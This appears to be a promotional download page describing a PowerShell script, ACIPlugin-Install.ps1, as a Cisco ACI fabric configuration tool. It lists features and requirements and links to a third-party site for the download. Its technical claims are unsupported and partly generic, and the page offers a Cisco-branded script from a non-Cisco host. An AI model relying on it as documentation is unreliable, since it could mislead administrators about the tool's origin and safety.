Introduction to ACIPlugin-Install.ps1
This PowerShell script serves as the automated configuration utility for Cisco Application Centric Infrastructure (ACI) fabric deployments, specifically designed for multi-site orchestration environments. It enables bulk policy deployments and health monitoring integrations between Cisco APIC controllers (v5.0.2h+) and third-party cloud platforms like VMware vCenter or Kubernetes clusters.
The tool validates tenant configurations against Cisco ACI’s declarative model before applying changes, reducing configuration drift risks in environments using Nexus 9000 Series switches (N9K-C93180YC-EX/N9K-C9336C-FX2) with NX-OS 15.2(7)+. Current version 2.3.1 aligns with Cisco’s ACI Multi-Site Orchestrator Release 3.1(1) security standards.
Core Functionality & Technical Enhancements
1. Zero-Touch Provisioning
- Automated spine-leaf topology validation using LLDP neighbor discovery
- Pre-staging of VXLAN EVPN configurations for Nexus 9300/9500 platforms
2. Security Compliance
- Enforces RBAC policies meeting NIST 800-207 standards
- Auto-generates X.509 certificates for APIC-to-APIC communications
3. Cross-Platform Integration
- Native support for VMware NSX-T 4.1 logical routing configurations
- Kubernetes CNI plugin synchronization for Calico/Flannel networks
4. Diagnostic Capabilities
- Real-time telemetry streaming to Splunk/ELK stacks
- Automated collection of “tech-support” bundles from faulty nodes
System Requirements & Compatibility
| Component | Minimum Requirement | Recommended Configuration |
|---|---|---|
| PowerShell Version | 7.2 (x64) | 7.4 (with .NET 6.0) |
| Cisco APIC Firmware | 5.0(2h) | 5.2(3d) |
| Hypervisor Platforms | ESXi 7.0 U3, KVM (RHEL 8.6) | ESXi 8.0 U2, KVM (RHEL 9.2) |
| Memory Allocation | 8GB RAM | 16GB DDR5 |
Known Constraints
- Incompatible with Windows Server 2016/PowerShell 5.1 environments
- Requires TLS 1.3 cipher suite activation on legacy Nexus 9300 switches
For secure access to ACIPlugin-Install.ps1, visit https://www.ioshub.net/cisco-aci-automation-tools. Network architects implementing multi-cloud ACI fabrics should validate script hashes against Cisco’s Security Advisory CSA-2024-0054 before deployment.
